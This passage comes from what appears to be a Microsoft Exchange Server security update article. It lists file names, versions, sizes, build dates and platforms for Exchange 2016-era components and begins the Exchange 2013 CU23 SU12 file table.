\nMicrosoft.exchange.services.ewsserialization.dll| 15.1.2308.20| 1,651,080| 3-Nov-21| 21:15| x86 \nMicrosoft.exchange.services.json.dll| 15.1.2308.20| 296,328| 3-Nov-21| 21:19| x86 \nMicrosoft.exchange.services.messaging.dll| 15.1.2308.20| 43,384| 3-Nov-21| 21:13| x86 \nMicrosoft.exchange.services.onlinemeetings.dll| 15.1.2308.20| 233,336| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.services.surface.dll| 15.1.2308.20| 178,576| 3-Nov-21| 21:20| x86 \nMicrosoft.exchange.services.wcf.dll| 15.1.2308.20| 348,552| 3-Nov-21| 21:17| x86 \nMicrosoft.exchange.setup.acquirelanguagepack.dll| 15.1.2308.20| 56,696| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.setup.bootstrapper.common.dll| 15.1.2308.20| 94,608| 3-Nov-21| 18:41| x86 \nMicrosoft.exchange.setup.common.dll| 15.1.2308.20| 297,360| 3-Nov-21| 21:08| x86 \nMicrosoft.exchange.setup.commonbase.dll| 15.1.2308.20| 35,720| 3-Nov-21| 20:53| x86 \nMicrosoft.exchange.setup.console.dll| 15.1.2308.20| 27,016| 3-Nov-21| 21:11| x86 \nMicrosoft.exchange.setup.gui.dll| 15.1.2308.20| 115,080| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.setup.parser.dll| 15.1.2308.20| 54,136| 3-Nov-21| 20:50| x86 \nMicrosoft.exchange.setup.signverfwrapper.dll| 15.1.2308.20| 75,152| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.sharedcache.caches.dll| 15.1.2308.20| 142,736| 3-Nov-21| 19:46| x86 \nMicrosoft.exchange.sharedcache.client.dll| 15.1.2308.20| 24,968| 3-Nov-21| 18:54| x86 \nMicrosoft.exchange.sharedcache.eventlog.dll| 15.1.2308.20| 15,224| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.sharedcache.exe| 15.1.2308.20| 58,768| 3-Nov-21| 19:48| x86 \nMicrosoft.exchange.sharepointsignalstore.dll| 15.1.2308.20| 27,000| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.slabmanifest.dll| 15.1.2308.20| 46,992| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.sqm.dll| 15.1.2308.20| 46,992| 3-Nov-21| 18:41| x86 \nMicrosoft.exchange.store.service.exe| 15.1.2308.20| 28,048| 3-Nov-21| 20:18| x86 \nMicrosoft.exchange.store.worker.exe| 15.1.2308.20| 26,488| 3-Nov-21| 20:16| x86 \nMicrosoft.exchange.storeobjectsservice.eventlog.dll| 15.1.2308.20| 13,704| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.storeobjectsservice.exe| 15.1.2308.20| 31,632| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.storeprovider.dll| 15.1.2308.20| 1,166,728| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.structuredquery.dll| 15.1.2308.20| 158,608| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.symphonyhandler.dll| 15.1.2308.20| 628,104| 3-Nov-21| 20:34| x86 \nMicrosoft.exchange.syncmigration.eventlog.dll| 15.1.2308.20| 13,176| 3-Nov-21| 18:39| x64 \nMicrosoft.exchange.syncmigrationservicelet.dll| 15.1.2308.20| 16,272| 3-Nov-21| 20:50| x86 \nMicrosoft.exchange.systemprobemsg.dll| 15.1.2308.20| 13,200| 3-Nov-21| 18:30| x64 \nMicrosoft.exchange.textprocessing.dll| 15.1.2308.20| 221,560| 3-Nov-21| 19:01| x86 \nMicrosoft.exchange.textprocessing.eventlog.dll| 15.1.2308.20| 13,688| 3-Nov-21| 18:28| x64 \nMicrosoft.exchange.transport.agent.addressbookpolicyroutingagent.dll| 15.1.2308.20| 29,064| 3-Nov-21| 20:15| x86 \nMicrosoft.exchange.transport.agent.antispam.common.dll| 15.1.2308.20| 138,616| 3-Nov-21| 20:13| x86 \nMicrosoft.exchange.transport.agent.contentfilter.cominterop.dll| 15.1.2308.20| 21,904| 3-Nov-21| 19:04| x86 \nMicrosoft.exchange.transport.agent.controlflow.dll| 15.1.2308.20| 40,312| 3-Nov-21| 20:15| x86 \nMicrosoft.exchange.transport.agent.faultinjectionagent.dll| 15.1.2308.20| 22,904| 3-Nov-21| 20:18| x86 \nMicrosoft.exchange.transport.agent.frontendproxyagent.dll| 15.1.2308.20| 21,384| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.transport.agent.hygiene.dll| 15.1.2308.20| 213,384| 3-Nov-21| 20:21| x86 \nMicrosoft.exchange.transport.agent.interceptoragent.dll| 15.1.2308.20| 98,688| 3-Nov-21| 20:18| x86 \nMicrosoft.exchange.transport.agent.liveidauth.dll| 15.1.2308.20| 22,920| 3-Nov-21| 20:12| x86 \nMicrosoft.exchange.transport.agent.malware.dll| 15.1.2308.20| 169,352| 3-Nov-21| 20:31| x86 \nMicrosoft.exchange.transport.agent.malware.eventlog.dll| 15.1.2308.20| 18,296| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.transport.agent.phishingdetection.dll| 15.1.2308.20| 20,872| 3-Nov-21| 19:43| x86 \nMicrosoft.exchange.transport.agent.prioritization.dll| 15.1.2308.20| 31,624| 3-Nov-21| 20:15| x86 \nMicrosoft.exchange.transport.agent.protocolanalysis.dbaccess.dll| 15.1.2308.20| 46,968| 3-Nov-21| 20:16| x86 \nMicrosoft.exchange.transport.agent.search.dll| 15.1.2308.20| 30,088| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.transport.agent.senderid.core.dll| 15.1.2308.20| 53,112| 3-Nov-21| 19:41| x86 \nMicrosoft.exchange.transport.agent.sharedmailboxsentitemsroutingagent.dll| 15.1.2308.20| 44,920| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.transport.agent.systemprobedrop.dll| 15.1.2308.20| 18,296| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.transport.agent.transportfeatureoverrideagent.dll| 15.1.2308.20| 46,464| 3-Nov-21| 20:20| x86 \nMicrosoft.exchange.transport.agent.trustedmailagents.dll| 15.1.2308.20| 46,472| 3-Nov-21| 20:15| x86 \nMicrosoft.exchange.transport.cloudmonitor.common.dll| 15.1.2308.20| 28,048| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.transport.common.dll| 15.1.2308.20| 457,104| 3-Nov-21| 19:35| x86 \nMicrosoft.exchange.transport.contracts.dll| 15.1.2308.20| 18,296| 3-Nov-21| 19:54| x86 \nMicrosoft.exchange.transport.decisionengine.dll| 15.1.2308.20| 30,592| 3-Nov-21| 18:57| x86 \nMicrosoft.exchange.transport.dll| 15.1.2308.20| 4,184,952| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.transport.dsapiclient.dll| 15.1.2308.20| 182,152| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.transport.eventlog.dll| 15.1.2308.20| 121,744| 3-Nov-21| 18:30| x64 \nMicrosoft.exchange.transport.extensibility.dll| 15.1.2308.20| 403,344| 3-Nov-21| 19:41| x86 \nMicrosoft.exchange.transport.extensibilityeventlog.dll| 15.1.2308.20| 14,720| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.transport.flighting.dll| 15.1.2308.20| 86,928| 3-Nov-21| 18:58| x86 \nMicrosoft.exchange.transport.logging.dll| 15.1.2308.20| 88,968| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.transport.logging.search.dll| 15.1.2308.20| 68,488| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.transport.loggingcommon.dll| 15.1.2308.20| 63,352| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.transport.monitoring.dll| 15.1.2308.20| 430,472| 3-Nov-21| 21:46| x86 \nMicrosoft.exchange.transport.net.dll| 15.1.2308.20| 122,256| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.transport.protocols.contracts.dll| 15.1.2308.20| 17,784| 3-Nov-21| 19:56| x86 \nMicrosoft.exchange.transport.protocols.dll| 15.1.2308.20| 29,056| 3-Nov-21| 19:56| x86 \nMicrosoft.exchange.transport.protocols.httpsubmission.dll| 15.1.2308.20| 60,792| 3-Nov-21| 19:57| x86 \nMicrosoft.exchange.transport.requestbroker.dll| 15.1.2308.20| 50,040| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.transport.scheduler.contracts.dll| 15.1.2308.20| 33,144| 3-Nov-21| 19:55| x86 \nMicrosoft.exchange.transport.scheduler.dll| 15.1.2308.20| 113,016| 3-Nov-21| 19:57| x86 \nMicrosoft.exchange.transport.smtpshared.dll| 15.1.2308.20| 18,296| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.transport.storage.contracts.dll| 15.1.2308.20| 52,112| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.transport.storage.dll| 15.1.2308.20| 675,192| 3-Nov-21| 19:57| x86 \nMicrosoft.exchange.transport.storage.management.dll| 15.1.2308.20| 21,896| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.transport.sync.agents.dll| 15.1.2308.20| 17,800| 3-Nov-21| 20:25| x86 \nMicrosoft.exchange.transport.sync.common.dll| 15.1.2308.20| 487,296| 3-Nov-21| 20:24| x86 \nMicrosoft.exchange.transport.sync.common.eventlog.dll| 15.1.2308.20| 12,680| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.transport.sync.manager.dll| 15.1.2308.20| 306,056| 3-Nov-21| 20:27| x86 \nMicrosoft.exchange.transport.sync.manager.eventlog.dll| 15.1.2308.20| 15,736| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.transport.sync.migrationrpc.dll| 15.1.2308.20| 46,480| 3-Nov-21| 20:26| x86 \nMicrosoft.exchange.transport.sync.worker.dll| 15.1.2308.20| 1,044,368| 3-Nov-21| 20:30| x86 \nMicrosoft.exchange.transport.sync.worker.eventlog.dll| 15.1.2308.20| 15,240| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.transportlogsearch.eventlog.dll| 15.1.2308.20| 18,824| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.transportsyncmanagersvc.exe| 15.1.2308.20| 18,832| 3-Nov-21| 20:29| x86 \nMicrosoft.exchange.um.callrouter.exe| 15.1.2308.20| 22,416| 3-Nov-21| 20:25| x86 \nMicrosoft.exchange.um.clientstrings.dll| 15.1.2308.20| 60,296| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.um.grammars.dll| 15.1.2308.20| 211,856| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.um.lad.dll| 15.1.2308.20| 120,696| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.um.prompts.dll| 15.1.2308.20| 214,928| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.um.troubleshootingtool.shared.dll| 15.1.2308.20| 118,648| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.um.ucmaplatform.dll| 15.1.2308.20| 239,496| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.um.umcommon.dll| 15.1.2308.20| 925,560| 3-Nov-21| 20:18| x86 \nMicrosoft.exchange.um.umcore.dll| 15.1.2308.20| 1,471,872| 3-Nov-21| 20:20| x86 \nMicrosoft.exchange.um.umvariantconfiguration.dll| 15.1.2308.20| 32,656| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.unifiedcontent.dll| 15.1.2308.20| 41,848| 3-Nov-21| 18:48| x86 \nMicrosoft.exchange.unifiedcontent.exchange.dll| 15.1.2308.20| 24,952| 3-Nov-21| 19:33| x86 \nMicrosoft.exchange.unifiedmessaging.eventlog.dll| 15.1.2308.20| 130,440| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.unifiedpolicyfilesync.eventlog.dll| 15.1.2308.20| 15,224| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.unifiedpolicyfilesyncservicelet.dll| 15.1.2308.20| 83,320| 3-Nov-21| 20:49| x86 \nMicrosoft.exchange.unifiedpolicysyncservicelet.dll| 15.1.2308.20| 50,056| 3-Nov-21| 20:48| x86 \nMicrosoft.exchange.variantconfiguration.antispam.dll| 15.1.2308.20| 658,832| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.variantconfiguration.core.dll| 15.1.2308.20| 186,256| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.variantconfiguration.dll| 15.1.2308.20| 67,448| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.variantconfiguration.eventlog.dll| 15.1.2308.20| 12,664| 3-Nov-21| 18:29| x64 \nMicrosoft.exchange.variantconfiguration.excore.dll| 15.1.2308.20| 56,696| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.variantconfiguration.globalsettings.dll| 15.1.2308.20| 28,024| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.variantconfiguration.hygiene.dll| 15.1.2308.20| 120,720| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.variantconfiguration.protectionservice.dll| 15.1.2308.20| 31,632| 3-Nov-21| 18:54| x86 \nMicrosoft.exchange.variantconfiguration.threatintel.dll| 15.1.2308.20| 57,208| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.webservices.auth.dll| 15.1.2308.20| 35,720| 3-Nov-21| 18:29| x86 \nMicrosoft.exchange.webservices.dll| 15.1.2308.20| 1,054,088| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.webservices.xrm.dll| 15.1.2308.20| 67,976| 3-Nov-21| 18:30| x86 \nMicrosoft.exchange.wlmservicelet.dll| 15.1.2308.20| 23,440| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.wopiclient.dll| 15.1.2308.20| 77,176| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.workingset.signalapi.dll| 15.1.2308.20| 17,288| 3-Nov-21| 18:42| x86 \nMicrosoft.exchange.workingsetabstraction.signalapiabstraction.dll| 15.1.2308.20| 29,048| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.workloadmanagement.dll| 15.1.2308.20| 505,224| 3-Nov-21| 19:48| x86 \nMicrosoft.exchange.workloadmanagement.eventlogs.dll| 15.1.2308.20| 14,736| 3-Nov-21| 18:28| x64 \nMicrosoft.exchange.workloadmanagement.throttling.configuration.dll| 15.1.2308.20| 36,744| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.workloadmanagement.throttling.dll| 15.1.2308.20| 66,424| 3-Nov-21| 19:51| x86 \nMicrosoft.fast.contextlogger.json.dll| 15.1.2308.20| 19,320| 3-Nov-21| 18:20| x86 \nMicrosoft.filtering.dll| 15.1.2308.20| 113,016| 3-Nov-21| 18:54| x86 \nMicrosoft.filtering.exchange.dll| 15.1.2308.20| 57,216| 3-Nov-21| 20:11| x86 \nMicrosoft.filtering.interop.dll| 15.1.2308.20| 15,224| 3-Nov-21| 18:52| x86 \nMicrosoft.forefront.activedirectoryconnector.dll| 15.1.2308.20| 46,968| 3-Nov-21| 19:25| x86 \nMicrosoft.forefront.activedirectoryconnector.eventlog.dll| 15.1.2308.20| 15,736| 3-Nov-21| 18:37| x64 \nMicrosoft.forefront.filtering.common.dll| 15.1.2308.20| 23,952| 3-Nov-21| 18:29| x86 \nMicrosoft.forefront.filtering.diagnostics.dll| 15.1.2308.20| 22,392| 3-Nov-21| 18:20| x86 \nMicrosoft.forefront.filtering.eventpublisher.dll| 15.1.2308.20| 34,696| 3-Nov-21| 18:29| x86 \nMicrosoft.forefront.management.powershell.format.ps1xml| Not applicable| 48,894| 3-Nov-21| 21:06| Not applicable \nMicrosoft.forefront.management.powershell.types.ps1xml| Not applicable| 16,274| 3-Nov-21| 21:06| Not applicable \nMicrosoft.forefront.monitoring.activemonitoring.local.components.dll| 15.1.2308.20| 1,518,472| 3-Nov-21| 21:48| x86 \nMicrosoft.forefront.monitoring.activemonitoring.local.components.messages.dll| 15.1.2308.20| 13,192| 3-Nov-21| 18:36| x64 \nMicrosoft.forefront.monitoring.management.outsidein.dll| 15.1.2308.20| 33,168| 3-Nov-21| 21:26| x86 \nMicrosoft.forefront.recoveryactionarbiter.contract.dll| 15.1.2308.20| 18,312| 3-Nov-21| 18:20| x86 \nMicrosoft.forefront.reporting.common.dll| 15.1.2308.20| 46,456| 3-Nov-21| 20:12| x86 \nMicrosoft.forefront.reporting.ondemandquery.dll| 15.1.2308.20| 50,576| 3-Nov-21| 20:14| x86 \nMicrosoft.isam.esent.collections.dll| 15.1.2308.20| 72,592| 3-Nov-21| 18:41| x86 \nMicrosoft.isam.esent.interop.dll| 15.1.2308.20| 533,896| 3-Nov-21| 18:37| x86 \nMicrosoft.managementgui.dll| 15.1.2308.20| 133,496| 3-Nov-21| 18:20| x86 \nMicrosoft.mce.interop.dll| 15.1.2308.20| 24,440| 3-Nov-21| 18:20| x86 \nMicrosoft.office.audit.dll| 15.1.2308.20| 123,768| 3-Nov-21| 18:20| x86 \nMicrosoft.office.client.discovery.unifiedexport.dll| 15.1.2308.20| 593,288| 3-Nov-21| 19:05| x86 \nMicrosoft.office.common.ipcommonlogger.dll| 15.1.2308.20| 42,360| 3-Nov-21| 18:52| x86 \nMicrosoft.office.compliance.console.core.dll| 15.1.2308.20| 217,992| 3-Nov-21| 22:40| x86 \nMicrosoft.office.compliance.console.dll| 15.1.2308.20| 854,904| 3-Nov-21| 22:50| x86 \nMicrosoft.office.compliance.console.extensions.dll| 15.1.2308.20| 485,776| 3-Nov-21| 22:45| x86 \nMicrosoft.office.compliance.core.dll| 15.1.2308.20| 413,072| 3-Nov-21| 18:54| x86 \nMicrosoft.office.compliance.ingestion.dll| 15.1.2308.20| 36,216| 3-Nov-21| 18:52| x86 \nMicrosoft.office.compliancepolicy.exchange.dar.dll| 15.1.2308.20| 85,384| 3-Nov-21| 20:11| x86 \nMicrosoft.office.compliancepolicy.platform.dll| 15.1.2308.20| 1,783,176| 3-Nov-21| 18:36| x86 \nMicrosoft.office.datacenter.activemonitoring.management.common.dll| 15.1.2308.20| 49,528| 3-Nov-21| 20:07| x86 \nMicrosoft.office.datacenter.activemonitoring.management.dll| 15.1.2308.20| 27,536| 3-Nov-21| 20:11| x86 \nMicrosoft.office.datacenter.activemonitoringlocal.dll| 15.1.2308.20| 174,984| 3-Nov-21| 18:54| x86 \nMicrosoft.office.datacenter.monitoring.activemonitoring.recovery.dll| 15.1.2308.20| 166,264| 3-Nov-21| 19:34| x86 \nMicrosoft.office365.datainsights.uploader.dll| 15.1.2308.20| 40,312| 3-Nov-21| 18:20| x86 \nMicrosoft.online.box.shell.dll| 15.1.2308.20| 46,456| 3-Nov-21| 18:28| x86 \nMicrosoft.powershell.hostingtools.dll| 15.1.2308.20| 67,976| 3-Nov-21| 18:20| x86 \nMicrosoft.powershell.hostingtools_2.dll| 15.1.2308.20| 67,976| 3-Nov-21| 18:20| x86 \nMicrosoft.tailoredexperiences.core.dll| 15.1.2308.20| 120,208| 3-Nov-21| 18:48| x86 \nMigrateumcustomprompts.ps1| Not applicable| 19,106| 3-Nov-21| 18:41| Not applicable \nModernpublicfoldertomailboxmapgenerator.ps1| Not applicable| 29,048| 3-Nov-21| 18:41| Not applicable \nMovemailbox.ps1| Not applicable| 61,180| 3-Nov-21| 18:41| Not applicable \nMovetransportdatabase.ps1| Not applicable| 30,586| 3-Nov-21| 18:41| Not applicable \nMove_publicfolderbranch.ps1| Not applicable| 17,552| 3-Nov-21| 18:41| Not applicable \nMpgearparser.dll| 15.1.2308.20| 99,704| 3-Nov-21| 18:23| x64 \nMsclassificationadapter.dll| 15.1.2308.20| 248,712| 3-Nov-21| 18:36| x64 \nMsexchangecompliance.exe| 15.1.2308.20| 78,728| 3-Nov-21| 20:38| x86 \nMsexchangedagmgmt.exe| 15.1.2308.20| 25,480| 3-Nov-21| 20:20| x86 \nMsexchangedelivery.exe| 15.1.2308.20| 38,776| 3-Nov-21| 20:18| x86 \nMsexchangefrontendtransport.exe| 15.1.2308.20| 31,608| 3-Nov-21| 20:11| x86 \nMsexchangehmhost.exe| 15.1.2308.20| 27,000| 3-Nov-21| 21:46| x86 \nMsexchangehmrecovery.exe| 15.1.2308.20| 29,560| 3-Nov-21| 19:35| x86 \nMsexchangemailboxassistants.exe| 15.1.2308.20| 72,568| 3-Nov-21| 20:18| x86 \nMsexchangemailboxreplication.exe| 15.1.2308.20| 20,880| 3-Nov-21| 20:32| x86 \nMsexchangemigrationworkflow.exe| 15.1.2308.20| 68,984| 3-Nov-21| 20:36| x86 \nMsexchangerepl.exe| 15.1.2308.20| 72,056| 3-Nov-21| 20:18| x86 \nMsexchangesubmission.exe| 15.1.2308.20| 123,272| 3-Nov-21| 20:30| x86 \nMsexchangethrottling.exe| 15.1.2308.20| 39,824| 3-Nov-21| 19:25| x86 \nMsexchangetransport.exe| 15.1.2308.20| 74,128| 3-Nov-21| 19:25| x86 \nMsexchangetransportlogsearch.exe| 15.1.2308.20| 139,144| 3-Nov-21| 20:13| x86 \nMsexchangewatchdog.exe| 15.1.2308.20| 55,696| 3-Nov-21| 18:23| x64 \nMspatchlinterop.dll| 15.1.2308.20| 53,640| 3-Nov-21| 18:41| x64 \nNativehttpproxy.dll| 15.1.2308.20| 91,512| 3-Nov-21| 18:38| x64 \nNavigatorparser.dll| 15.1.2308.20| 636,816| 3-Nov-21| 18:23| x64 \nNego2nativeinterface.dll| 15.1.2308.20| 19,336| 3-Nov-21| 18:37| x64 \nNegotiateclientcertificatemodule.dll| 15.1.2308.20| 30,072| 3-Nov-21| 18:37| x64 \nNewtestcasconnectivityuser.ps1| Not applicable| 22,248| 3-Nov-21| 18:41| Not applicable \nNewtestcasconnectivityuserhosting.ps1| Not applicable| 24,599| 3-Nov-21| 18:41| Not applicable \nNtspxgen.dll| 15.1.2308.20| 80,760| 3-Nov-21| 18:41| x64 \nOleconverter.exe| 15.1.2308.20| 173,944| 3-Nov-21| 18:41| x64 \nOutsideinmodule.dll| 15.1.2308.20| 87,952| 3-Nov-21| 18:36| x64 \nOwaauth.dll| 15.1.2308.20| 92,024| 3-Nov-21| 18:37| x64 \nOwasmime.msi| Not applicable| 720,896| 3-Nov-21| 18:41| Not applicable \nPerf_common_extrace.dll| 15.1.2308.20| 245,128| 3-Nov-21| 18:22| x64 \nPerf_exchmem.dll| 15.1.2308.20| 85,904| 3-Nov-21| 18:23| x64 \nPipeline2.dll| 15.1.2308.20| 1,454,464| 3-Nov-21| 18:43| x64 \nPowershell.rbachostingtools.dll_1bf4f3e363ef418781685d1a60da11c1| 15.1.2308.20| 41,360| 3-Nov-21| 20:58| Not applicable \nPreparemoverequesthosting.ps1| Not applicable| 70,975| 3-Nov-21| 18:41| Not applicable \nPrepare_moverequest.ps1| Not applicable| 73,249| 3-Nov-21| 18:41| Not applicable \nProductinfo.managed.dll| 15.1.2308.20| 27,000| 3-Nov-21| 18:20| x86 \nProxybinclientsstringsdll| 15.1.2308.20| 924,544| 3-Nov-21| 18:36| x86 \nPublicfoldertomailboxmapgenerator.ps1| Not applicable| 23,222| 3-Nov-21| 18:41| Not applicable \nQuietexe.exe| 15.1.2308.20| 14,712| 3-Nov-21| 18:22| x86 \nRedistributeactivedatabases.ps1| Not applicable| 250,524| 3-Nov-21| 18:36| Not applicable \nReinstalldefaulttransportagents.ps1| Not applicable| 21,639| 3-Nov-21| 21:00| Not applicable \nRemoteexchange.ps1| Not applicable| 23,593| 3-Nov-21| 21:05| Not applicable \nRemoveuserfrompfrecursive.ps1| Not applicable| 14,704| 3-Nov-21| 18:41| Not applicable \nReplaceuserpermissiononpfrecursive.ps1| Not applicable| 15,022| 3-Nov-21| 18:41| Not applicable \nReplaceuserwithuseronpfrecursive.ps1| Not applicable| 15,032| 3-Nov-21| 18:41| Not applicable \nReplaycrimsonmsg.dll| 15.1.2308.20| 1,099,128| 3-Nov-21| 18:20| x64 \nResetattachmentfilterentry.ps1| Not applicable| 15,456| 3-Nov-21| 21:00| Not applicable \nResetcasservice.ps1| Not applicable| 21,687| 3-Nov-21| 18:41| Not applicable \nReset_antispamupdates.ps1| Not applicable| 14,121| 3-Nov-21| 18:20| Not applicable \nRestoreserveronprereqfailure.ps1| Not applicable| 15,161| 3-Nov-21| 18:44| Not applicable \nResumemailboxdatabasecopy.ps1| Not applicable| 17,190| 3-Nov-21| 18:36| Not applicable \nRightsmanagementwrapper.dll| 15.1.2308.20| 86,400| 3-Nov-21| 18:41| x64 \nRollalternateserviceaccountpassword.ps1| Not applicable| 55,774| 3-Nov-21| 18:41| Not applicable \nRpcperf.dll| 15.1.2308.20| 23,416| 3-Nov-21| 18:22| x64 \nRpcproxyshim.dll| 15.1.2308.20| 39,304| 3-Nov-21| 18:41| x64 \nRulesauditmsg.dll| 15.1.2308.20| 12,680| 3-Nov-21| 18:37| x64 \nRwsperfcounters.xml| Not applicable| 23,048| 3-Nov-21| 21:07| Not applicable \nSafehtmlnativewrapper.dll| 15.1.2308.20| 34,680| 3-Nov-21| 18:37| x64 \nScanenginetest.exe| 15.1.2308.20| 956,296| 3-Nov-21| 18:37| x64 \nScanningprocess.exe| 15.1.2308.20| 739,192| 3-Nov-21| 18:48| x64 \nSearchdiagnosticinfo.ps1| Not applicable| 16,832| 3-Nov-21| 18:41| Not applicable \nServicecontrol.ps1| Not applicable| 52,349| 3-Nov-21| 18:44| Not applicable \nSetmailpublicfolderexternaladdress.ps1| Not applicable| 20,754| 3-Nov-21| 18:41| Not applicable \nSettingsadapter.dll| 15.1.2308.20| 115,600| 3-Nov-21| 18:30| x64 \nSetup.exe| 15.1.2308.20| 20,856| 3-Nov-21| 18:43| x86 \nSetupui.exe| 15.1.2308.20| 49,040| 3-Nov-21| 20:53| x86 \nSplit_publicfoldermailbox.ps1| Not applicable| 52,169| 3-Nov-21| 18:41| Not applicable \nStartdagservermaintenance.ps1| Not applicable| 27,831| 3-Nov-21| 18:37| Not applicable \nStatisticsutil.dll| 15.1.2308.20| 142,224| 3-Nov-21| 18:30| x64 \nStopdagservermaintenance.ps1| Not applicable| 21,113| 3-Nov-21| 18:36| Not applicable \nStoretsconstants.ps1| Not applicable| 15,830| 3-Nov-21| 18:52| Not applicable \nStoretslibrary.ps1| Not applicable| 28,003| 3-Nov-21| 18:52| Not applicable \nStore_mapi_net_bin_perf_x64_exrpcperf.dll| 15.1.2308.20| 28,536| 3-Nov-21| 18:22| x64 \nSync_mailpublicfolders.ps1| Not applicable| 43,947| 3-Nov-21| 18:41| Not applicable \nSync_modernmailpublicfolders.ps1| Not applicable| 43,993| 3-Nov-21| 18:41| Not applicable \nTextconversionmodule.dll| 15.1.2308.20| 86,416| 3-Nov-21| 18:37| x64 \nTroubleshoot_ci.ps1| Not applicable| 22,747| 3-Nov-21| 18:52| Not applicable \nTroubleshoot_databaselatency.ps1| Not applicable| 33,433| 3-Nov-21| 18:52| Not applicable \nTroubleshoot_databasespace.ps1| Not applicable| 30,029| 3-Nov-21| 18:52| Not applicable \nUmservice.exe| 15.1.2308.20| 100,240| 3-Nov-21| 20:26| x86 \nUmworkerprocess.exe| 15.1.2308.20| 38,280| 3-Nov-21| 20:22| x86 \nUninstall_antispamagents.ps1| Not applicable| 15,493| 3-Nov-21| 18:20| Not applicable \nUpdateapppoolmanagedframeworkversion.ps1| Not applicable| 14,050| 3-Nov-21| 18:41| Not applicable \nUpdatecas.ps1| Not applicable| 35,363| 3-Nov-21| 18:44| Not applicable \nUpdateconfigfiles.ps1| Not applicable| 19,762| 3-Nov-21| 18:44| Not applicable \nUpdateserver.exe| 15.1.2308.20| 3,014,544| 3-Nov-21| 18:41| x64 \nUpdate_malwarefilteringserver.ps1| Not applicable| 18,140| 3-Nov-21| 18:41| Not applicable \nWeb.config_053c31bdd6824e95b35d61b0a5e7b62d| Not applicable| 32,048| 3-Nov-21| 22:38| Not applicable \nWsbexchange.exe| 15.1.2308.20| 125,320| 3-Nov-21| 18:41| x64 \nX400prox.dll| 15.1.2308.20| 103,288| 3-Nov-21| 18:37| x64 \n_search.lingoperators.a| 15.1.2308.20| 34,680| 3-Nov-21| 19:55| Not applicable \n_search.lingoperators.b| 15.1.2308.20| 34,680| 3-Nov-21| 19:55| Not applicable \n_search.mailboxoperators.a| 15.1.2308.20| 289,144| 3-Nov-21| 20:27| Not applicable \n_search.mailboxoperators.b| 15.1.2308.20| 289,144| 3-Nov-21| 20:27| Not applicable \n_search.operatorschema.a| 15.1.2308.20| 483,208| 3-Nov-21| 19:41| Not applicable \n_search.operatorschema.b| 15.1.2308.20| 483,208| 3-Nov-21| 19:41| Not applicable \n_search.tokenoperators.a| 15.1.2308.20| 106,880| 3-Nov-21| 19:53| Not applicable \n_search.tokenoperators.b| 15.1.2308.20| 106,880| 3-Nov-21| 19:53| Not applicable \n_search.transportoperators.a| 15.1.2308.20| 64,904| 3-Nov-21| 20:32| Not applicable \n_search.transportoperators.b| 15.1.2308.20| 64,904| 3-Nov-21| 20:32| Not applicable \n \n### \n\n__\n\nMicrosoft Exchange Server 2013 Cumulative Update 23 Security Update 12\n\nFile name| File version| File size| Date| Time| Platform| SP requirement \n---|---|---|---|---|---|--- \nActivemonitoringeventmsg.dll| 15.0.1497.26| 70,568| 28-Oct-21| 19:31| x64| SP. \nAdduserstopfrecursive.ps1| Not applicable| 15,038| 28-Oct-21| 19:31| Not applicable| SP. \nAirfilter.dll| 15.0.1497.26| 41,896| 28-Oct-21| 19:31| x64| SP. \nAjaxcontroltoolkit.dll| 15.0.1497.26| 96,680| 28-Oct-21| 19:31| x86| SP. \nBase.cab.cab| Not applicable| #########| 8-Nov-21| 19:47| Not applicable| SP. \nCafe_airfilter_dll| 15.0.1497.26| 41,896| 28-Oct-21| 19:31| x64| SP. \nCafe_owaauth_dll| 15.0.1497.26| 91,552| 28-Oct-21| 19:31| x64| SP. \nCheckinvalidrecipients.ps1| Not applicable| 23,105| 28-Oct-21| 19:31| Not applicable| SP. \nChksgfiles.dll| 